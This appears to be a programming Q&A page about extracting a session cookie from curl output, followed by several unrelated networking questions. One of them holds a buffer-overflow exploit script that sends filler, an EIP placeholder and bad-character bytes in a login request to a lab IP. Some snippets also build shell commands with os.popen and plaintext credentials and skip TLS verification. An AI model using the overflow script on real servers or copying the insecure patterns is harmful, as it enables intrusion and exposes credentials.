I've created a python class to execute a curl command which in turn generates a token. The code works as expected.The script generates the expected output.Now, need few lines from the below mentioned output and not the entire output.
How do I extract the following lines from the output.
lines starting after
Set-Cookie: SESSION= till =;
. How do I extract these lines.
import requests
import json
from akamai.edgegrid import EdgeGridAuth, EdgeRc
from tabulate import tabulate
import os
import re
import base64
class generate_token(object):
"""
This library is to generate token for the test application
"""
def __init__(self,kwargs):
self.username = 'user'
self.password = 'abcdef'
self.contractName = kwargs.get("Names")
self.contractType = kwargs.get("Type")
self.accountId = kwargs.get("Id")
self.env = kwargs.get("env")
def requestSession(self):
if self.env == "test":
ping = os.popen('ping -c 1 hostname.com').read()
ip_addr = re.findall(r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b",ping)[0]
else:
ping = os.popen('ping -c 1 different_hostname.com').read()
ip_addr = re.findall(r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b",ping)[0]
url = "https://%s/EdgeAuth/asyncUserLogin" %(ip_addr)
command = "curl -is -v -k -d username=%s -d password=%s --request POST '%s' " %(self.username,self.password,url)
self.session = os.popen(command).read()
if __name__ == "__main__":
initData = {
'Names': 'names',
'Type': 'type',
'Id': 'ID',
'env' : 'test'
}
c = generate_token(kwargs=initData)
result = c.requestSession()
Entire output :
* TCP_NODELAY set
* WARNING: disabling hostname validation also disables SNI.
> POST /EdgeAuth/asyncUserLogin HTTP/1.1
> Host: 143.111.112.202
> User-Agent: curl/7.54.0
> Accept: */*
> Content-Length: 33
> Content-Type: application/x-www-form-urlencoded
>
} [33 bytes data]
* upload completely sent off: 33 out of 33 bytes
< HTTP/1.1 302 Moved Temporarily
< Date: Thu, 26 Jul 2018 15:54:07 GMT
< Server: Apache-Coyote/1.1
< Location: https://192.168.93.201/homeng/view/main
< Content-Length: 0
< Set-Cookie: SESSION=1-7FOmRFhEcci+8fAfh+DvLg==-1bk61eksykUHbWc9kx3LzL0KdkaxyDodxsEsu6siMR/1cpR7yLaD7HtTjXEr+XDowzpYcug4bfKIMjk2/T0aqJiHg5BrbRbnBeZnTcAUIpdyKGvtnmEQkSADoaxvgfYGrxqQctrVPdqJtPziqvIbjO1X8xh0Xtj/ZNvJXaSFs//w9ISNZ5hvIDBygUo+0EuYT8PSTYVPrcBCLaJUkC8ACg==-jdN937gosTsMx8fdaJqP5sA7wKPRgqv1RxRkX65SWeE=;
Path=/; Secure
< Via: 1.1 %{HTTP_HOST}
< X-Content-Type-Options: nosniff
< Content-Type: text/plain
Required output :
17FOmRFhEcci+8fAfh+DvLg==-1bk61eksykUHbWc9kx3LzL0KdkaxyDodxsEsu6siMR/1cpR7yLaD7HtTjXEr+XDowzpYcug4bfKIMjk2/T0aqJiHg5BrbRbnBeZnTcAUIpdyKGvtnmEQkSADoaxvgfYGrxqQctrVPdqJtPziqvIbjO1X8xh0Xtj/ZNvJXaSFs//w9ISNZ5hvIDBygUo+0EuYT8PSTYVPrcBCLaJUkC8ACg==-jdN937gosTsMx8fdaJqP5sA7wKPRgqv1RxRkX65SWeE=;
Don't use os.popen and friends to execute external programs - use the subprocess module for that:
ping = subprocess.check_output(['ping', '-c', '1', 'hostname.com'])
In the same way, don't execute a subprocess just to get a cookie from a url - you're already importing the excellent requests library in your code, why not use it!
r = requests.post(url, data={'username': self.username, 'password': self.password})
print (r.cookies['SESSION'])
Related
I'm trying to write a simple SIP agent to receive a call using PJSUA2 python swig module, but can't see how this swig module works. I've got the following code
import pjsua2 as pj
import time
class Endpoint(pj.Endpoint):
"""
This is high level Python object inherited from pj.Endpoint
"""
instance = None
def __init__(self):
pj.Endpoint.__init__(self)
Endpoint.instance = self
def validateUri(uri):
return Endpoint.instance.utilVerifyUri(uri) == pj.PJ_SUCCESS
def validateSipUri(uri):
return Endpoint.instance.utilVerifySipUri(uri) == pj.PJ_SUCCESS
# Call class
class Call(pj.Call):
"""
High level Python Call object, derived from pjsua2's Call object.
"""
def __init__(self, acc, peer_uri='', call_id=pj.PJSUA_INVALID_ID):
pj.Call.__init__(self, acc, call_id)
self.acc = acc
self.peerUri = peer_uri
self.connected = False
self.onhold = False
def onCallState(self, prm):
ci = self.getInfo()
self.connected = ci.state == pj.PJSIP_INV_STATE_CONFIRMED
def onCallMediaState(self, prm):
ci = self.getInfo()
for mi in ci.media:
if mi.type == pj.PJMEDIA_TYPE_AUDIO and \
(mi.status == pj.PJSUA_CALL_MEDIA_ACTIVE or
mi.status == pj.PJSUA_CALL_MEDIA_REMOTE_HOLD):
m = self.getMedia(mi.index)
am = pj.AudioMedia.typecastFromMedia(m)
# connect ports
Endpoint.instance.audDevManager().getCaptureDevMedia().startTransmit(am)
am.startTransmit(Endpoint.instance.audDevManager().getPlaybackDevMedia())
if mi.status == pj.PJSUA_CALL_MEDIA_REMOTE_HOLD and not self.onhold:
print("'%s' sets call onhold" % self.peerUri)
self.onhold = True
elif mi.status == pj.PJSUA_CALL_MEDIA_ACTIVE and self.onhold:
print("'%s' sets call active" % self.peerUri)
self.onhold = False
def onDtmfDigit(self, prm):
# print("Got DTMF:" + prm.digit)
pass
def onCallMediaTransportState(self, prm):
# print("Media transport state")
pass
class Account(pj.Account):
def onRegState(self, prm):
print("***OnRegState: " + prm.reason)
def onMwiInfo(self, prm):
print("OnMwiState: " + prm.reason)
def onBuddyState(self, prm):
print("OnBuddyState: " + prm.reason)
def onIncommingSubscribe(self, prm):
print("OnSubscribeState: " + prm.reason)
def OnIncomingCall(self, prm):
c = Call(self, call_id=prm.callId)
call_prm = pj.CallOpParam()
call_prm.statusCode = 180
c.answer(call_prm)
ci = c.getInfo()
if input(f"Accept call from {ci.remoteUri}?") == u'yes':
call_prm.statusCode = 200
c.answer(call_prm)
else:
c.hangup(call_prm)
def initalise_sip_stack():
ep_cfg = pj.EpConfig()
ep = Endpoint()
ep.libCreate()
ep.libInit(ep_cfg)
sip_tp_config = pj.TransportConfig()
sip_tp_config.port = 5060
ep.transportCreate(pj.PJSIP_TRANSPORT_UDP, sip_tp_config)
ep.libStart()
acfg = pj.AccountConfig()
acfg.idUri = "sip:056004#172.20.1.8"
acfg.regConfig.registrarUri = "sip:172.20.1.8"
creds = pj.AuthCredInfo("digest", "*", "056004", 0, "somepass")
acfg.sipConfig.authCreds.append(creds)
acc = Account()
acc.create(acfg)
return ep
if __name__ == "__main__":
endpoint = initalise_sip_stack()
time.sleep(600)
endpoint.libDestroy()
This little client is able to register in my asterisk server as you can see
raspberrypi*CLI> pjsip show contacts
Contact: <Aor/ContactUri..............................> <Hash....> <Status> <RTT(ms)..>
==========================================================================================
Contact: 056003/sip:056003#172.20.1.13:5060 058bca1427 Avail 41.057
Contact: 056004/sip:056004#172.20.1.2:5060;ob e8ff0c4e2b Avail 2.358
Objects found: 2
However, when I place a call from 056003 contact, I can see the following trace from pjsua2:
16:52:37.918 pjsua_core.c .RX 947 bytes Request msg INVITE/cseq=23923 (rdata0x7f5f6c001c48) from UDP 172.20.1.8:5060:
INVITE sip:056004#172.20.1.2:5060;ob SIP/2.0
Via: SIP/2.0/UDP 0.0.0.0:5060;rport;branch=z9hG4bKPjada6202d-813b-499c-9b5c-2ad5abf6706e
From: "MI 3" <sip:056003#172.20.1.8>;tag=91efaf53-e6fb-45dc-b2d4-ddc99a6c3c36
To: <sip:056004#172.20.1.2;ob>
Contact: <sip:056003#0.0.0.0:5060>
Call-ID: 1bf35bec-1a88-468e-bd17-dfa99086c457
CSeq: 23923 INVITE
Allow: OPTIONS, REGISTER, SUBSCRIBE, NOTIFY, PUBLISH, INVITE, ACK, BYE, CANCEL, UPDATE, PRACK, MESSAGE, REFER
Supported: 100rel, timer, replaces, norefersub, histinfo
Session-Expires: 1800
Min-SE: 90
P-Asserted-Identity: "MI 3" <sip:056003#172.20.1.8>
Max-Forwards: 70
User-Agent: FPBX-15.0.23(16.16.1)
Content-Type: application/sdp
Content-Length: 231
v=0
o=- 519853527 519853527 IN IP4 172.20.1.8
s=Asterisk
c=IN IP4 172.20.1.8
t=0 0
m=audio 14490 RTP/AVP 9 101
a=rtpmap:9 G722/8000
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-16
a=ptime:20
a=maxptime:150
a=sendrecv
--end msg--
16:52:37.918 pjsua_call.c .Incoming Request msg INVITE/cseq=23923 (rdata0x7f5f6c001c48)
16:52:37.919 pjsua_acc.c ..No available account to handle Request msg INVITE/cseq=23923 (rdata0x7f5f6c001c48)
16:52:37.919 pjsua_core.c ..TX 402 bytes Response msg 480/INVITE/cseq=23923 (tdta0x7f5f6c006b78) to UDP 172.20.1.8:5060:
SIP/2.0 480 Temporarily Unavailable
Via: SIP/2.0/UDP 0.0.0.0:5060;rport=5060;received=172.20.1.8;branch=z9hG4bKPjada6202d-813b-499c-9b5c-2ad5abf6706e
Call-ID: 1bf35bec-1a88-468e-bd17-dfa99086c457
From: "MI 3" <sip:056003#172.20.1.8>;tag=91efaf53-e6fb-45dc-b2d4-ddc99a6c3c36
To: <sip:056004#172.20.1.2;ob>;tag=z9hG4bKPjada6202d-813b-499c-9b5c-2ad5abf6706e
CSeq: 23923 INVITE
Content-Length: 0
--end msg--
16:52:37.919 pjsua_call.c ..Unable to accept incoming call (no available account)
16:52:37.921 pjsua_core.c .RX 433 bytes Request msg ACK/cseq=23923 (rdata0x7f5f6c001c48) from UDP 172.20.1.8:5060:
ACK sip:056004#172.20.1.2:5060;ob SIP/2.0
Via: SIP/2.0/UDP 0.0.0.0:5060;rport;branch=z9hG4bKPjada6202d-813b-499c-9b5c-2ad5abf6706e
From: "MI 3" <sip:056003#172.20.1.8>;tag=91efaf53-e6fb-45dc-b2d4-ddc99a6c3c36
To: <sip:056004#172.20.1.2;ob>;tag=z9hG4bKPjada6202d-813b-499c-9b5c-2ad5abf6706e
Call-ID: 1bf35bec-1a88-468e-bd17-dfa99086c457
CSeq: 23923 ACK
Max-Forwards: 70
User-Agent: FPBX-15.0.23(16.16.1)
Content-Length: 0
--end msg--
16:52:41.382 pjsua_core.c .RX 419 bytes Request msg OPTIONS/cseq=9130 (rdata0x7f5f6c001c48) from UDP 172.20.1.8:5060:
OPTIONS sip:056004#172.20.1.2:5060;ob SIP/2.0
Via: SIP/2.0/UDP 0.0.0.0:5060;rport;branch=z9hG4bKPj54cf9751-5357-4887-91d3-b8d97ea6d2f4
From: <sip:056004#172.20.1.8>;tag=9a799201-1424-418d-b5c4-44997fc40829
To: <sip:056004#172.20.1.2;ob>
Contact: <sip:056004#0.0.0.0:5060>
Call-ID: 84c421ff-ae98-475f-b11e-ac7cd27caa66
CSeq: 9130 OPTIONS
Max-Forwards: 70
User-Agent: FPBX-15.0.23(16.16.1)
Content-Length: 0
--end msg--
16:52:41.382 pjsua_core.c .TX 760 bytes Response msg 200/OPTIONS/cseq=9130 (tdta0x7f5f6c003c18) to UDP 172.20.1.8:5060:
SIP/2.0 200 OK
Via: SIP/2.0/UDP 0.0.0.0:5060;rport=5060;received=172.20.1.8;branch=z9hG4bKPj54cf9751-5357-4887-91d3-b8d97ea6d2f4
Call-ID: 84c421ff-ae98-475f-b11e-ac7cd27caa66
From: <sip:056004#172.20.1.8>;tag=9a799201-1424-418d-b5c4-44997fc40829
To: <sip:056004#172.20.1.2;ob>;tag=z9hG4bKPj54cf9751-5357-4887-91d3-b8d97ea6d2f4
CSeq: 9130 OPTIONS
Allow: PRACK, INVITE, ACK, BYE, CANCEL, UPDATE, INFO, SUBSCRIBE, NOTIFY, REFER, MESSAGE, OPTIONS
Accept: application/sdp, application/pidf+xml, application/xpidf+xml, application/simple-message-summary, message/sipfrag;version=2.0, application/im-iscomposing+xml, text/plain
Supported: replaces, 100rel, timer, norefersub, trickle-ice
Allow-Events: presence, message-summary, refer
Content-Length: 0
--end msg--
And not sure why it says pjsua_acc.c ..No available account to handle Request msg INVITE/cseq=23923 (rdata0x7f5f6c001c48)
Some idea? what part is bad implemented in my code? Maybe should I handle the initalise_sip_stack() function as a thread/process?
Thank you very much!
I have a script to get json and run it on my ubuntu server with a white ip
I accept json, but not completely, and after this acceptance, the script closes the connection and does not work
I think the problem is that I receive packets incorrectly, but why it does not accept the second packet and why it closes in an infinite loop is not clear to me due to my little experience
import os
import socket
from pathlib import Path
from dotenv import load_dotenv
import json
#Init .env
env_path = Path('.') / '.env'
load_dotenv(dotenv_path=env_path)
#create webserver socket
def start_my_server():
socket_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_server.bind(('ip', port))
socket_server.listen(32768)
print('Working...')
global data
global HDRS
while True:
client_socket, address = socket_server.accept()
data = client_socket.recv(32768).decode('utf-8')
# content = 'Well done'.encode('utf-8')
HDRS = 'HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\n\r\n'
# content = load_page_from_get_request(data)
client_socket.send(HDRS.encode('utf-8'))
# a = client_socket.send(HDRS.encode('utf-8'))
# print(a, '+'*20)
client_socket.shutdown(socket.SHUT_WR)
load_page_from_get_request(32768)
# print('end')
# socket_server.close()
def load_page_from_get_request(request_data):
HDRS = 'HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\n\r\n'
HDRS_404 = 'HTTP/1.1 404 OK\r\nContent-Type: text/html; charset=utf-8\r\n\r\n'
try:
with open('data.json', 'w') as output_file:
json.dump(data, output_file)
return HDRS.encode('utf-8')
except EOFError:
return HDRS_404.encode('utf-8')
# try
if __name__ == '__main__':
start_my_server()
The end version of my script
import os
import socket
from pathlib import Path
from dotenv import load_dotenv
import json
import datetime
#Init .env
env_path = Path('.') / '.env'
load_dotenv(dotenv_path=env_path)
ip = os.environ['ip']
port = os.environ['port']
HDRS = 'HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\n\r\n'
HDRS_404 = 'HTTP/1.1 404 OK\r\nContent-Type: text/html; charset=utf-8\r\n\r\n'
#create webserver socket
def start_my_server():
socket_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_server.bind((ip, port))
socket_server.listen(32768)
print('Working...')
global data
while True:
client_socket, address = socket_server.accept()
print('loop', address)
data = client_socket.recv(0).decode('utf-8')
# content = load_page_from_get_request(data)
load_page_from_get_request(data)
client_socket.send(HDRS.encode('utf-8'))
client_socket.shutdown(socket.SHUT_WR)
# print('end')
# socket_server.close()
def load_page_from_get_request(request_data):
# HDRS = 'HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\n\r\n'
# HDRS_404 = 'HTTP/1.1 404 OK\r\nContent-Type: text/html; charset=utf-8\r\n\r\n'
with open(f'data.json{datetime.time}', 'wr') as output_file:
json.dump(data, output_file)
return HDRS.encode('utf-8')
# except EOFError:
# return HDRS_404.encode('utf-8')
# try
print('loop script')
if __name__ == '__main__':
start_my_server()
The Python3 script below works fine if I remove 'badchars' from the script. However when I include 'badchars' in the content of my http request, I can see in Wireshark that there are a couple empty bytes between for some reason (see image)
What do I need to do to successfully pass the badchars with my other http content without empty bytes?
#!/usr/bin/python3
import sys
import time
import socket
import warnings
targetip = "192.168.168.10"
targetport = 80
try:
#prepare input buffer
filler = "A" * 780
eip = "BBBB"
offset = "C" * 4
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
inputBuffer = filler + eip + offset + badchars
print("=" * 50)
print("Sending evil buffer with %s bytes:" % len(inputBuffer))
print("=" * 50)
#construct http request payload
content = "username="+ inputBuffer + "&password=A"
request = "POST /login HTTP/1.1\r\n"
request += "Host: 192.168.168.10\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
request += "Accept-Language: en-US,en;q=0.5\r\n"
request += "Accept-Encoding: gzip, deflate\r\n"
request += "Content-Type: application/x-www-form-urlencoded\r\n"
request += "Content-Length: "+str(len(content))+"\r\n"
request += "\r\n"
request += content
#print http request to be sent to target
print (request.encode())
#connect to target and send payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((targetip, targetport))
s.send(request.encode())
s.close()
print("=" * 50)
print("Complete!")
print("=" * 50)
except:
print ("\nCould not connect!")
sys.exit(0)
sys.exit(0)
I am observing that with python requests module, HTTP keep-alive is not being honored.
I dont see Acks for keep-alive being sent from the host where i am running the python script.
Please let me know how it can be fixed.Following is my code:
import json
import requests
import logging
import sys
import time
from threading import Thread
logging.basicConfig(level=logging.DEBUG)
class NSNitro:
def __init__(self,*args):
if len(args) > 2:
self.ip = args[0]
self.username = args[1]
self.password = args[2]
self.session_id = None
url = 'http://'+self.ip+'/nitro/v1/config/login'
payload = { "login": { "username":"nsroot", "password":"nsroot" }}
headers = {"Content-type": "application/json", 'Connection': 'keep-alive'}
try:
r = requests.post(url=url,headers=headers,data=json.dumps(payload),timeout=5)
logging.info(r.json()["sessionid"])
if(r.json()["sessionid"] != None):
self.session_id = r.json()["sessionid"]
except requests.exceptions.RequestException:
logging.critical("Some error occurred during connection")
else:
logging.error("Not sufficient parameters provided.Required : ipaddress , username , password")
def install_build(self,build_url):
url = 'http://ip/nitro/v1/config/install'
headers = {"Content-type": "application/json","Connection": "keep-alive"}
payload = {"install": {"url": build_url}}
try:
cookie = {"NITRO_AUTH_TOKEN": self.session_id}
r = requests.post(timeout=5, url=url, data=json.dumps(payload), headers=headers,cookies=cookie)
except requests.exceptions.RequestException:
print("Connection Error occurred")
raise '''this will give details of exception'''
else:
assert r.status_code == 201, "Status code seen: " + str(r.status_code) + "\n" + "Error message from system: " + \
r.json()["message"]
print("Successfully triggered job on device to install build")
def __del__(self):
logging.debug("Deleted the object")
if __name__ == '__main__':
ns_session = NSNitro(ip,username,password)
url_i = 'https://myupload-server.net/build-13.0-480.16.tgz'
t1 = Thread(target=ns_session.install_build,args=(url_i,))
t1.start()
''' while t1.is_alive():
t2 = Thread(target=ns_session.get_installed_version,)
t2.start()
t2.join()'''
time.sleep(100)
logging.info("Install thread completed")
t1.join()
ns_session.logout()
When the request is posted using curl command, the acks are sent in specified keep-alive intervals. Without ack being sent , server is resetting the connection.
I'm trying to do a HEAD request of a page using Python 2.
I am trying
import misc_urllib2
.....
opender = urllib2.build_opener([misc_urllib2.MyHTTPRedirectHandler(), misc_urllib2.HeadRequest()])
with misc_urllib2.py containing
class HeadRequest(urllib2.Request):
def get_method(self):
return "HEAD"
class MyHTTPRedirectHandler(urllib2.HTTPRedirectHandler):
def __init__ (self):
self.redirects = []
def http_error_301(self, req, fp, code, msg, headers):
result = urllib2.HTTPRedirectHandler.http_error_301(
self, req, fp, code, msg, headers)
result.redirect_code = code
return result
http_error_302 = http_error_303 = http_error_307 = http_error_301
But I am getting
TypeError: __init__() takes at least 2 arguments (1 given)
If I just do
opender = urllib2.build_opener(misc_urllib2.MyHTTPRedirectHandler())
then it works fine
This works just fine:
import urllib2
request = urllib2.Request('http://localhost:8080')
request.get_method = lambda : 'HEAD'
response = urllib2.urlopen(request)
print response.info()
Tested with quick and dirty HTTPd hacked in python:
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sun, 12 Dec 2010 11:52:33 GMT
Content-type: text/html
X-REQUEST_METHOD: HEAD
I've added a custom header field X-REQUEST_METHOD to show it works :)
Here is HTTPd log:
Sun Dec 12 12:52:28 2010 Server Starts - localhost:8080
localhost.localdomain - - [12/Dec/2010 12:52:33] "HEAD / HTTP/1.1" 200 -
Edit: there is also httplib2
import httplib2
h = httplib2.Http()
resp = h.request("http://www.google.com", 'HEAD')
Try httplib
>>> import httplib
>>> conn = httplib.HTTPConnection("www.google.com")
>>> conn.request("HEAD", "/index.html")
>>> res = conn.getresponse()
>>> print res.status, res.reason
200 OK
>>> print res.getheaders()
[('content-length', '0'), ('expires', '-1'), ('server', 'gws'), ('cache-control', 'private, max-age=0'), ('date', 'Sat, 20 Sep 2008 06:43:36 GMT'), ('content-type', 'text/html; charset=ISO-8859-1')]
See How do you send a HEAD HTTP request in Python 2?
The problem lies with your class HeadRequest, which inherits from urllib2.Request. According to doc, urllib2.Request.__init__ signature is
__init__(self, url, data=None, headers={}, origin_req_host=None, unverifiable=False)
so you must pass an url argument to it. In your second try, you just do not use HeadRequest, this is why it works.
you shoud not add HeadRequest to build_opener or add_handler it should be called like this
opener = urllib2.build_opener(MyHTTPRedirectHandler)
response = opener.open(HeadRequest(url))
print response.getheaders()